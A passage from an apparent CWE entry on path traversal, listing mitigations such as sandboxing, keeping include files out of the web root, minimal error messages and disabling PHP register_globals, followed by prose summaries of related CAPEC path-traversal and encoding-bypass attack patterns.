- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.